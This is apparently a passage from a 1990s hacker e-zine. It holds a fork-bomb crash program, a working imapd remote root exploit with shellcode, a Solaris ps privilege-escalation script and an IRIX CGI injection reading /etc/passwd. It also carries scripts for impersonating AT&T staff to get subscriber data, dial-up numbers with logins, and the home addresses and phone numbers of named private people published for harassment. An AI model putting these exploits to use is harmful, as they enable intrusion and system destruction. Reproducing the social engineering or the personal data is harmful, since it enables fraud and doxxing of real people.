signal(SIGHUP, SIG_IGN); /* on the system you are compiling */ signal(SIGTERM, SIG_IGN); /* them on, just erase that line */ signal(SIGALRM, SIG_IGN); signal(SIGBUS, SIG_IGN); signal(SIGFPE, SIG_IGN); signal(SIGILL, SIG_IGN); signal(SIGIOT, SIG_IGN); signal(SIGPIPE, SIG_IGN); signal(SIGQUIT, SIG_IGN); signal(SIGSEGV, SIG_IGN); signal(SIGTRAP, SIG_IGN); signal(SIGUSR1, SIG_IGN); signal(SIGUSR2, SIG_IGN); #ifdef BSD_C signal(SIGPROF, SIG_IGN); signal(SIGSTOP, SIG_IGN); signal(SIGTSTP, SIG_IGN); signal(SIGTTIN, SIG_IGN); signal(SIGTTOU, SIG_IGN); signal(SIGVTALRM, SIG_IGN); signal(SIGXCPU, SIG_IGN); signal(SIGXFSZ, SIG_IGN); #endif #ifdef SYSV_C signal(SIGPOLL, SIG_IGN); signal(SIGPWR, SIG_IGN); #endif if(fork()) { printf("Now crashing and blowing up this system.. have a nice day\n"); printf("You can safely logout, and let the proggie do its work\n"); printf("or you can stick around and watch lag go from 0 to bitch\n"); printf("in a matter of seconds\n"); printf(" --CoViN \n"); exit(0); } fp=open("/tmp/.foo",O_WRONLY|O_CREAT); if(fork()) { while(1) { fork(); buff = malloc(64000); write(fp, buff, 64000); system("uptime"); } } dirs_generator(); } void dirs_generator(void) { char alph[] = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. "; char fl[MAX_FILELEN]; char dir[MAX_DIRLEN]; int i; int flen; printf("Making dirs..\n"); chdir(START_DIR); fork(); /* For the simplicity of the code.. we also want more dir's from */ fork(); /* the START_DIR */ fork(); while(1) { fork(); flen= (rand() % MAX_FILELEN) - 1; for(i=0; i> Persona-Answer" return 1 } return 0 } # function to answer greetings proc pub_greet {nick uhost hand channel args} { global greets greet_size persona_flag if {$persona_flag} { persona_pause putserv "PRIVMSG $channel :$greets([rand $greet_size]) $nick" putlog "<<$nick>> Persona-Greet" return 1 } return 0 } # function to answer stupid stuff proc pub_stupid {nick uhost hand channel args} { global stupid stupid_size persona_flag if {$persona_flag} { persona_pause putserv "PRIVMSG $channel :$nick , $stupid([rand $stupid_size])" putlog "<<$nick>> Persona-Stupid" return 1 } return 0 } # function to answer goodbyes proc pub_bye {nick uhost hand channel args} { global bye bye_size persona_flag if {$persona_flag} { persona_pause putserv "PRIVMSG $channel :$bye([rand $bye_size]) $nick" putlog "<<$nick>> Persona-Bye" return 1 } return 0 } # misc. functions proc pub_tk3 {nick uhost hand channel args} { global persona_flag if {$persona_flag} { persona_pause putserv "PRIVMSG $channel :$nick, check out tk3play at bleh" putlog "<<$nick>> Persona-tk3play" return 1 } return 0 } # function to enforce minimum pause between responses proc persona_pause {} { global persona_flag persona_wait if {$persona_flag} { persona_off utimer $persona_wait persona_on } return 1 } # functions to turn the personality on and off proc persona_on {} { global persona_flag set persona_flag 1 return 1 } proc persona_off {} { global persona_flag set persona_flag 0 return 1 } putlog "Scorn's persona.tcl is loaded" 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. imapd Remote Exploit : aky / p1 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� This is the slightly upgraded version of this exploit floating around, there is also another, which is very hard to get, which spawns a shell with root access, I have also heard of European hacker groups coding homemade versions and variants which will this, so for the moment, heres this exploit, imapd usually runs on port 143. This version changes the root passwd field to being blank, so you can su to root without a password. I have heard there are problems and limitations with this, but that ain't my problem.. /* This is the remote exploit of the hole in the imap daemon, for Linux. The instruction code is doing open(), write(), and close() system calls, and it adds a line root::0:0.. at the beggining of /etc/passwd (change to /etc/shadow if needed). The code needs to be self modifying since imapd turns everything to lowercase before it pushes it on the stack. The problem is that it rewrites the first line of passwd/shadow, therefore loosing the root password. I'm sorry, but I don't have time to add in the seek syscall. - Akylonius (aky@galeb.etf.bg.ac.yu) [1997] Modifications made on 5.1.97 to accept command line hostname, with 'h_to_ip' function that resolves it to an ip. - p1 (p1@el8.org) */ #include #include #include #include #include #include #include char *h_to_ip(char *hostname); char *h_to_ip(char *hostname) { struct hostent *h; struct sockaddr_in tmp; struct in_addr in; h = gethostbyname(hostname); if (h==NULL) { perror("Resolving the host. \n"); exit(-1); } memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length); memcpy(&in,&tmp.sin_addr.s_addr,4); return(inet_ntoa(in)); } void banner(void) { system("clear"); printf("\nIMAP Exploit for Linux.\n"); printf("\n\tAuthor: Akylonius (aky@galeb.etf.bg.ac.yu)\n"); printf(" Modifications: p1 (p1@el8.org)\n"); } main(int argc, char **argv) { int fd; struct sockaddr_in sckdaddr; char *hostname; char buf[4092]; int i=8; char realegg[] = "\xeb\x58\x5e" "\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26" "\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8" "\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2" "\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31" "\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31" "\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1" "\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83" "\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80" "\xe8\x83\xff\xff\xff" "/etc/passwdxroot::0:0:r00t:/:/bin/bashx"; char *point = realegg; buf[0]='*'; buf[1]=' '; buf[2]='l'; buf[3]='o'; buf[4]='g'; buf[5]='i'; buf[6]='n'; buf[7]=' '; banner(); if (argc<2) { printf("\nUsage: %s \n\n", argv[0]); exit(-1); } hostname=argv[1]; while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */ buf[i++]=0x90; while(*point) buf[i++]=*(point++); buf[i++]=0x83; /* ebp */ buf[i++]=0xf3; buf[i++]=0xff; buf[i++]=0xbf; buf[i++]=0x88; /* ret adr */ buf[i++]=0xf8; buf[i++]=0xff; buf[i++]=0xbf; buf[i++]=' '; buf[i++]='b'; buf[i++]='a'; buf[i++]='h'; buf[i++]='\n'; buf[i++]=0x0; if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the socket. \n"); sckdaddr.sin_port=htons(143); sckdaddr.sin_family=AF_INET; sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname)); if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0) perror("Error with connecting. \n"); printf("hmm: \n"); getchar(); write(fd,buf,strlen(buf)+1); printf("hmm: \n"); close(fd); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 5. Solaris 2.5.1 ps Exploit : J. Zbiciak 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� #!/bin/sh # # Exploit for Solaris 2.5.1 /usr/bin/ps # J. Zbiciak, 5/18/97 # # Just copy this into one file, upload it to a system, chmod 755 and # then run it using # change as appropriate CC=gcc # Build the "replacement message" :-) cat > ps_expl.po << E_O_F domain "SUNW_OST_OSCMD" msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n" msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300\017\202\02 0\040\001\221\320\040\010" E_O_F msgfmt -o /tmp/foo ps_expl.po # Build the C portion of the exploit cat > ps_expl.c << E_O_F /*****************************************/ /* Exploit for Solaris 2.5.1 /usr/bin/ps */ /* J. Zbiciak, 5/18/97 */ /*****************************************/ #include #include #include #include #define BUF_LENGTH (632) #define EXTRA (256) int main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; /* ps will grok this file for the exploit code */ char *envp[]={"NLSPATH=/tmp/foo",0}; u_long *long_p; u_char *char_p; /* This will vary depending on your libc */ u_long proc_link=0xef70ef70; int i; long_p = (u_long *) buf; /* This first loop smashes the target buffer for optargs */ for (i = 0; i < (96) / sizeof(u_long); i++) *long_p++ = 0x10101010; /* At offset 96 is the environ ptr -- be careful not to mess it up */ *long_p++=0xeffffcb0; *long_p++=0xffffffff; /* After that is the _ctype table. Filling with 0x10101010 marks the entire character set as being "uppercase printable". */ for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++) *long_p++ = 0x10101010; /* build up _iob[0] (Ref: /usr/include/stdio.h, struct FILE) */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = proc_link; /* pointer to chars in buffer */ *long_p++ = proc_link; /* pointer to buffer */ *long_p++ = 0x0501FFFF; /* unbuffered output on stream 1 */ /* Note: "stdin" is marked as an output stream. Don't sweat it. :-) */ /* build up _iob[1] */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = proc_link; /* pointer to chars in buffer */ *long_p++ = proc_link; /* pointer to buffer */ *long_p++ = 0x4201FFFF; /* line-buffered output on stream 1 */ /* build up _iob[2] */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = proc_link; /* pointer to chars in buffer */ *long_p++ = proc_link; /* pointer to buffer */ *long_p++ = 0x4202FFFF; /* line-buffered output on stream 2 */ *long_p =0; /* The following includes the invalid argument '-z' to force the usage msg to appear after the arguments have been parsed. */ execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp); perror("execle failed"); return 0; } E_O_F # Compile it $CC -o ps_expl ps_expl.c # And off we go! exec ./ps_expl 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 6. handler CGI Hole : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� New bug that affects most IRIX systems, heres how you use it... telnet target.machine.com 80 GET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=Download HTTP/1.0 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. DTMF Decoder : xFli 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� DTMF Decoder plans. ------------------- If you are into bigtime surveillance, or you just have some burning desire to get the phone number of your sisters sexy friend, then you will be interested in this little circuit. Basically, using this, you can use a tape recorder and a pickup coil to record the DTMF tones sent when someone dials a number, or if it is easier to you can wire it up to a phone jack and decode in realtime, and then decode them to get the number dialled. This can cope with speed dialling, but you will need a reasonably good recording to decode successfully. The circuit is simplicity itself, literally only 5 components. I could have included an unreadable ascii circuit diag / pcb layout, but it would have been a waste of time, so the diags are available from http://www.codez.com and other CodeZero sites. The hardware takes the DTMF signal, decodes it and sends it to lpt1, where the binary output of the ic is converted into standard numbers. The simple BASIC program is included. Which is precompiled on http://www.codez.com Component list: ---------------- 1 x SSI202 18 pin Chip 1 x 3.579 MHz quartz crystal 2 x 27n Capacitors 1 x 1M resistor Source: -------- DTMF DECODER SOFTWARE ------------------------------------------ ' Use this to decode the output from the decoder hardware ' Not written by xFli, suggested in an electronics mag. 10 CLS:KEY OFF 20 I=INP(&H279) 30 IF (I AND 128)=128 THEN 30 40 C=0 50 IF (I AND 8)=8 THEN C=C+1 60 IF (I AND 16)=16 THEN C=C+2 70 IF (I AND 32)=32 THEN C=C+4 80 IF (I AND 64)=64 THEN C=C+8 90 IF C=11 THEN PRINT" * ";:GOTO 180 100 IF C=12 THEN PRINT" # ";:GOTO 180 110 IF C=13 THEN PRINT" A ";:GOTO 180 120 IF C=14 THEN PRINT" B ";:GOTO 180 130 IF C=15 THEN PRINT" C ";:GOTO 180 140 IF C=0 THEN PRINT" D ";:GOTO 180 150 IF C=10 THEN PRINT" 0 ";:GOTO 180 160 PRINT C; 170 I=INP(&H279) 180 IF (I AND 128)=0 THEN 180 190 T=TIMER 200 I=INP(&H279) 210 IF (TIMER-T)>5 THEN PRINT:PRINT:GOTO 30 220 IF (I AND 128) = 128 THEN 210 230 GOTO 50 In the magazine, it is advised you use gw-basic, which is included with very very early DOS versions. It may or may not work with qbasic etc. I don't know. These are also for UK tones, maybe they are different in the US. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. Dealing with directory assistance operators : Qytpo 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Allright, this information should be made available to everyone who cares to read it. Any information used from this article is to be used at a persons own risk. i will not be held responsible if any of this is used for wrongfull purposes- ( it can, you just have to get really creative ). Well, to start off, the job of the directory assistance operator, is to give out addresses, phone numbers, and area codes, for the information given to them. The operators can search from names, business names, and government names, despite what anyone tells you, an AT&T DIRECTORY ASSISTANCE OPERATOR CAN DO A CNA SEARCH. (Customer name and address) If the particular operator says they cant, then bug them. yell at them. if they dont do it themselves, they will get their supervisor. and if you make it sound really important they can do it. and if all that doesnt work, try to find a naive operator, tell them you are an AT&T administrator, and say, to press (Control+C) to bring up a CNA search on their switch. A CNA search is a very valuable asset, if you cannot find a CNA operator, give a directory assistance operator a whirl, chances are, if you have a brain, and are a decent actor, you can get the listing for the number you give them. Routing. The calls are routed through a large mainframe in each state department How it works: Say you dial, 602-555-1212. that would put you through to an operator ANYWHERE in the United States, where phoenix calls are routed through to. it will not just appear in 602, allthought that is where it is supposed to. If the switches in 602 are full, the call could end up anywhere in the US. When the operator picks up the reciever- (it is actually a headset that beeps). The call is automatically traced to whatever area code they dialed. so if You dialed (602 555 1212). an operator anywhere in the US, would get a listing on their screen, and a default city, in the upper left hand corner [PHOE] (phoenix arizona). [ *note*: depending on the area code, 602 for example, the operator can search the area codes permitted in that area code..] for example, if you dialed 602-555-1212, the operator would be allowed to search in 502 (the other area code in AZ) However, in some area codes, they will make you redial, like LA, or TEXAS, or NEWYORK; they have so many area codes, For example 310 and 210, in LOS ANGELES If you wanted a listing for LOS ANGELES, and dialed 210-555-1212, and wanted a listing for city in los angeles which was 310, they would make you hang up and dial 310-555-1212. (the operator shuld be saying to himself/herself, "no, this kiddie needz to call 310 instead, or i get fired for giving out bad information"...if they have a clue) Sample Call to a D A O for a CNA Search: ( The best way to get info ) ( caller dials 555-1212 in area code ) City please? Yes, this is James Thornton at AT&T the AT&T administrative assistance office. I need you to do a CNA Search for me. I'm sorry sir, we're not permitted to do CNA searches. Yes, I know. May I speak to a supervisor? This is So and So supervisor, how can I help you sir? Yes, this is James Thornton down at the AT&T (also called Excel) office in Florida, we need a CNA search done for a XXX-XXX-XXXX. One moment please. Ok. Ok, I am (or am not) showing a listing for XXX-XXX-XXXX, would you like that listing sir? Yes please, and I would like that verbally. (if you time it just right, you can get the info for free. if yer beige boxing, it doesnt really make a difference tho.) - hang up, say "what" a few times, to make it sound like you didnt get the listing. and hang up before she finishes the second time. she can only bill you while you are on the line, and if she fucks up, you can get away with it with no bill while they read you the number. This method only works for a verbal listing. if yer quick enough. ;) - - - The NPA RULES. - - - NPA dialed : NPAS PERMITTED TO SEARCH IN FROM THE NPA DIALLED -----California---- 213 213 209 408 510 707 916 408 209 510 415 510 707 510 209 408 415 707 916 707 209 415 510 916 714 714 916 209 510 707 -------Texas------- 210 512 915 214 817 903 972 281 409 713 409 281 512 713 817 903 512 210 409 817 915 713 281 409 806 817 915 817 214 409 512 806 903 903 214 409 817 915 210 512 806 817 972 214 817 903 -----New York------ 212 718 914 917 315 518 607 716 516 718 518 315 607 914 607 315 518 716 914 716 315 607 718 212 518 914 914 212 518 607 718 917 (cell) 212 718 914 *note*: all other states can search all NPA's listed in that state. - Qytpo (@#hackers on EFnet) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. Russian fone #'s (+7 095 XXXxxxx) : CyberLirik 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Some Interesting ph0ne #'s [07.06.97] Have some real phun with these, they are up-to-date!@# [RUSSiA] +7 095 XXXxxxx ----------------------------------------------------------------------- AT&T Calling Cards Service ----------------------------------------------------------------------- 9740074 Tone System - AT&T Moscow HQ switch to tone mode press 0 to page operator then by pressing "1" ya can record your voice message then by pressing "2" & "3" ya can hear your record :) 7555042 English-speeking AT&T operator 1555042 Also Automate AT&T Calling System is here ( tone mode ) 7555555 Russian-speeking AT&T operator 1555555 No AT&T Tone Machine ! ----------------------------------------------------------------------- Sprintnet Local Dial-Ups 02501 & 03110 DNICs GlobalOne = Sprintnet = Telenet ----------------------------------------------------------------------- 9286344 9600 9280985 9600 9137166 9600 < Only for MAIL 5789119 2400 3428376 9600 real connect 2400 9167373 SprintNet V34-19200 9167272 ??? 9167171 ? 00wait8 RoSprint PPP dialup. ----------------------------------------------------------------------- ROSPAC Local Dial-Ups 02500 DNIC ----------------------------------------------------------------------- 9270003 9600 9563692 9600 9563690 ----------------------------------------------------------------------- Rosnet Dialups 02506 DNIC ----------------------------------------------------------------------- 975-8403 913-3571 921-2103 201-2030 Voice:(095)206-8570,206-8458,206-7238 442-6422 442-8277 442-7022 442-8388 442-7088 442-8577 442-8077 442-6477 Iskra-2: 20-906,33-571 ----------------------------------------------------------------------- IBM net Dial-Up ----------------------------------------------------------------------- 2586420 ----------------------------------------------------------------------- Russia@Online Dial-Ups 28.8Kbps ----------------------------------------------------------------------- 9132376 30 lines 2584120 60 lines 3619999 2584161 Voice phone ! ----------------------------------------------------------------------- InfoNet Euro ----------------------------------------------------------------------- 9150001 28.8 9150005 28.8 2400 temp [unpublished] 2400 temp [unpublished] 2400 temp [unpublished] 2400 temp [unpublished] 2927056 Infonet Euro Voice ! ----------------------------------------------------------------------- Sita Network (AOLGLOBALnet & SCITOR {aka EQUANT} ) ----------------------------------------------------------------------- 9563589 14400 [unpublished] 9676767 24400 9676730 9676731 9676732 9676733 9676734 9676735 9676755 9676759 9676763 9676766 9676784 9562455 SITA voice! phones 9564736 00wait5 칛�璵遜Þ．�硫 璵��p STB Card. 00wait9 free information service 974 5122 Elvis+,Co Proxy 194.190.195.71. 961 5122 DNS 195.190.195.66. SLIP login: iptest temp 192.168.12.1 PPP login: pptest Password: guest ----------------------------------------------------------------------- CentroNet DialUp www.astro.ru ----------------------------------------------------------------------- 7511704 14400 ----------------------------------------------------------------------- Infotel dialUps [02504] ----------------------------------------------------------------------- 9585475 9580226 9580825 9580575 ----------------------------------------------------------------------- MMTEL DialUPs [02503] ----------------------------------------------------------------------- 3371001 5 lines 2419860 .db 2418340 2461661 ----------------------------------------------------------------------- PTT-Teleport www.ptt.ru ----------------------------------------------------------------------- 946-9383 voice about x.25,28,etc 946-9393 modem PPP ----------------------------------------------------------------------- www.dataforce.net ----------------------------------------------------------------------- 9566749 voice 2889340 ----------------------------------------------------------------------- FaxInfo Demo Tone Voice Line ----------------------------------------------------------------------- 9629424 demo user code : 12345 9759220 Telephone Voice Bulletin Board ----------------------------------------------------------------------- Voice Mail boxes ----------------------------------------------------------------------- 7059285 leave me mail in 80718 box 9253503 Online registration 4 email 9253507 ----------------------------------------------------------------------- Strange #s : ----------------------------------------------------------------------- 2587474 Logon: 2586435 2586411 2586414 30 32 9269199 9500885 9563686 ----------------------------------------------------------------------- Demos 33.8 V34 HST ----------------------------------------------------------------------- 958-19-75 958-19-81 956-62-85 956-62-86 241-05-05 961-32-00 ----------------------------------------------------------------------- www.Cityline.ru V34 ----------------------------------------------------------------------- 2587884 40 lines 9567759 20 2341901 10 2450070 10 2454414 10 9564787 Interport Mailbox ( t0ne ) 9560050 Unknown system ( t0ne ) 9585474 PassWord: _always_ BUSY #s ( unpluged ) 111-11xx 222-2222 980xxxxx .. 999xxxxx ----------------------------------------------------------------------- INTEL PORT : ----------------------------------------------------------------------- 956-4787 Main 434-1565 Registration 202-6934 Demo ----------------------------------------------------------------------- Dial-Ups ----------------------------------------------------------------------- 281-0201 975-0520 (37) 9270003 TYMUSA 956-3692 the same 956-0699 9600 Real Tymnet Voice 9563678 503/9563691 TYM-X25 Sync ----------------------------------------------------------------------- Youth Science Center Linux server ----------------------------------------------------------------------- Data lines: Line 1: 954-0664 (14400, 24h, UUPC only) 2: 954-0058 (14400, 21:00 - 09:00) 3: 954-0914 ( 9600, 21:00 - 09:00) 4: 954-0147 (33600, 24h, PPP only) 5: 954-0144 (33600, 24h, RAS only) 6: 954-0445 (33600, 24h, restricted) Voice Dmitry Ablov 9540012 7473355 ASVT Dial Up Gateway 2 Users: Oleg & Alex 742xxxx Gate to Iskra2 line. Call for 8-097-2nodes 913xxxx Gate to Iskra2 line. Call for 8-097-3nodes 2324626 Comstar Dialup 2329696 9560885 "The Microsoft Network is no longer providing MSN in Russia" ----------------------------------------------------------------------- -=-=-=-=-=-=-=-=-=-= Free 800 Services -=-=-=-=-=-=-=-=-=-=- ----------------------------------------------------------------------- � Moscow #s 7473320 Rus MCI Operators in California 7473322 Eng connect me to Customer's Service in Russian 7473321 AT&T Operators in New-York 7473323 7473324 Sprint Global, Arizona, USA 7473325 Orua,Canada 7473326 Otele Code ? 7473327 National Calling Center, UK 28 7473329 Japan 7473356 Sprint Calling Cards 57 7473359 France service 60 7473361 Italian service 7473363 Chili ? service � National Russian #s 8-10 800 4977211 - 몮�( AT&T); 8-10 800 4977222 - 몮�( MCI); 8-10 800 4977255 - 몮�( Sprint) ; 8-10 800 4977220 - 몮�(MCI 說遜ぎ筌揖췅� 笹拾줎); 8-10 800 4977233 - 뒥췅쩆 (Teleglob); 8-10 800 4977266 - 궏エぎ□ⓥ젺⑨(BT); 8-10 800 4977277 - 궏エぎ□ⓥ젺⑨( Mercuri); 8-10 800 4977288 - 궏�｀⑨; 8-10 800 4977181 - 윲��⑨ ( KDD); 8-10 800 4974358 - 뵪�ワ�ㄸ�( Telecom Finland); 8-10 800 4977032 - 겈レ（� (Belgacom, � ⓤ��レ㎜- 쥯���� 첓設�曄�); 8-10 800 4977212 - 겈レ（� ( Belgacom, 曄誓� ���- �졻���); 8-10 800 4977039 - 댿젷⑨ (Iritel); 8-10 800 4977353 - 댽쳽�ㄸ� ( Telecom Iriland); 8-10 800 4977156 - 뿨エ; 8-10 800 4977165 - 뫅�짛�侁; 8-10 800 4977141 - 삟ⅸ�졷⑨. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. sIn inf0z part 3 : The CodeZero + Friends 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� sIn are 0fficially property of the CodeZero. ------------------------------------------------------------------------------- Alias : Evil Chick Real Name : Suzette Kimminau Address : 130 105th Ave. S.E. Apt. 218 Bellevue, Wa 98004 USA Telephone : (206)454-7176 Email : evilchic@NWLINK.COM ------------------------------------------------------------------------------- Alias : \\StOrM\\ Real Name : Jason Sloderbeck Address : 5739 N Norton, Kansas City, MO 64119 USA Telephone : (816)453-8722 Email : storm@SINNERZ.COM ------------------------------------------------------------------------------- Alias : JDKane Real Name : Kim Address : 327 E Park Road, Round Lake, IL 60073 USA Telephone : (847)546-9154 Email : ------------------------------------------------------------------------------- Alias : JeNnYGrRl Real Name : Jennifer Chambers Address : Kansas City, MO 61421 USA Telephone : Email : ------------------------------------------------------------------------------- We got more, but not complete, They can run, but they can never hide, http://www.codez.com/inf0z.html 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. The Codez That NASA Use : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� w0wie, I got myself some eleet NASA system security juarez...And people have leeched them from me, like lame undernet groups with no skill. ::: LaRCSCAN ::: NAIAD ---These Are The *EXACT* Files Taken From The nasatool.zip.gz I have---------- (readme.larcscan) The LaRCSCAN program is a working prototype rather than a finished product, thus requiring a few explanations. SETTING UP ---------- LaRCSCAN is a combination of fifty script and c-language files. (No need to compile the c code, the scripts will do it ). To set up to run LaRCSCAN create a directory LARCSCAN in the users home directory. Copy LARCSCAN.tar into this directory. Do a tar -xf LARCSCAN.tar. This will create a 'project' directory containing all the script and 'C' files. Next create a directory 'LARCSCAN/data' . In this directory you wil create two files- 'hname1' and 'uname2'. These should be plain ascii text files. The first (hname1) will contain a list of all the target machine host names, one name per line. Example: viper machine2 dumbo (These may also use the longer format i.e. 'dumbo.larc.nasa.gov') The second (uname2) should contain a list of standard vendor account names you wish to check. Example: guest tutor 4Dgifts demo demos lp There is an extensive list of these names in the file named 'acctlist'. We normally run 6 to 8 of these each month, rotating through the list. They are used in the 'rsh' attempts and using too many can cause the process to be extremely slow. Before running LaRCSCAN, there are several places code must be changed to reflect the user, host and domain running the scan. The following changes should be make: FILE CURRENT TEXT REPLACEMENT --- ----------- ----------- ftpsc 'jpark@bize' your username@your hostname fptss 'jpark@bize' your username@your hostname getftp.sh 'jpark@bize' your username@your hostname getftpss.sh 'jpark@bize' your username@your hostname ftpsc '#local=larc.nasa.gov' '#local='your complete domain ftpss '#local=larc.nasa.gov' '#local='your complete domain hostsljc '#local=larc.nasa.gov' '#local='your complete domain rshss '#local=larc.nasa.gov' '#local='your complete domain rshsc '#local=larc.nasa.gov' '#local='your complete domain shownlj '#local=larc.nasa.gov' '#local='your complete domain line.c 'strncmp(pl.hdr,"larc",n)' substitute the site portion of your domainname (lerc,arc,jpl,etc) for 'larc' These changes are necessary in order for your results to be accurate. The C code is compiled (by the script files) using cc with the -o (next token is output file) option. If this compiler is not used on the scanning machine, you should be able to substitute the appropriate compiler command and option. Compilation occurs from: exec1.sh exec2.sh rshsc rshss shownlj RUNNING LaRCSCAN ---------------- LaRCSCAN can take quite a while (days) to run to completion, so it is reccommended that it be run in the background mode. We do this either with crontab starting it at a specified time/date or through the use of 'nohup'. The command that starts the process is 'sh tst1.sh' (in the project directory). The necessary subdirectories and files will be created as needed. RESULTS ------- The first report (LARCSCAN/result/result.db) is a summary of the results from each target machine. It starts with the date the scan began and the total number of target hosts. The next line is the column header line, containing the following abbreviations: HTNAME - hostname HUK - host known (is the hostname an active host) TFTP-trivial ftp (is the trivial ftp utility active on this host) FTP-anonymous ftp (is anonymous ftp active on this host) There can several valid responses in this column. No-anonymous ftp is not active Yes_No-anonymous ftp is active but no password file was captured. Yes_Yes-anonymous ftp is active and a password file was captured. ALIAS-were the 'decode' or 'uudecode' aliases present in the aliases file SDM-was the 'wiz' password present in the sendmail.cf file SHADOW-was the captured password file a shadow password file. N/A used when no password file was captured. (This is the only instance where 'Yes' is a desired result) +LINE-Indicates a single '+' on a line by itself in the hosts.equiv file The second report (LARCSCAN/result/result2.db) is a list of all hosts found to have accounts with no password, followed by the unprotected account names. The ACCTS_OFF and OFF columns will be used to represent host.equiv entries that are located off-site and target hosts located off-site. Currently these entries are not valid! The last report (LARCSCAN/result/resultr1.db ) contains a list of all file systems exportable to the world. Any specific questions or problems may be sent via E-mail to j.w.park@larc.nasa.gov. (readme.naiad) The NASIRC Automated Inode Anomaly Detector (NAIAD) --------------------------------------------------- Copyright 1996 Hughes STX Corporation This software was developed by Hughes STX Corporation for the National Aeronautics and Space Administration under contract NAS5-30440. An unlimited license for use within NASA is granted. Hughes STX Corporation makes no representation concerning the suitability of this software for any particular purpose. It is provided "as is" without express or implied warranty of any kind. Author: Fred Blonder NAIAD will traverse a specified directory and all its sub-directories, looking for files meeting certain built-in criteria. If no directory is specified, it starts at the current directory. Its purpose is to find evidence of attempted or actual system tampering. The tests performed cannot easily be performed by existing system commands such as "find". NAIAD is intended to be used in conjunction with such programs and checksumming programs. The tests NAIAD performs are: * Check for file names containing unprintable characters. These are sometimes used to hide illicit programs, or the output from them. They are also frequently created by fumble-fingered users, and are not necessarily a sign of a problem. Optionally, naiad will rename the file to something easier to type on a normal keyboard. * List symbolic links, or just symbolic links to files whose name begins with a period. The exploitation of security holes in some programs involves placing symbolic links into a spool directory. NAIAD will help locate links in unexpected places. * Lists old files whose inode has been altered recently. Some malicious programs attempt to hide the fact that they have altered a file by using the "utime" system call to alter the "last modified" time of the file. The inode also contains the "inode changed" time, which is not modifiable by this call; thus a file which has been tampered to display an old modification time will still have a recent "inode changed" time. Of course, this can also be caused by someone 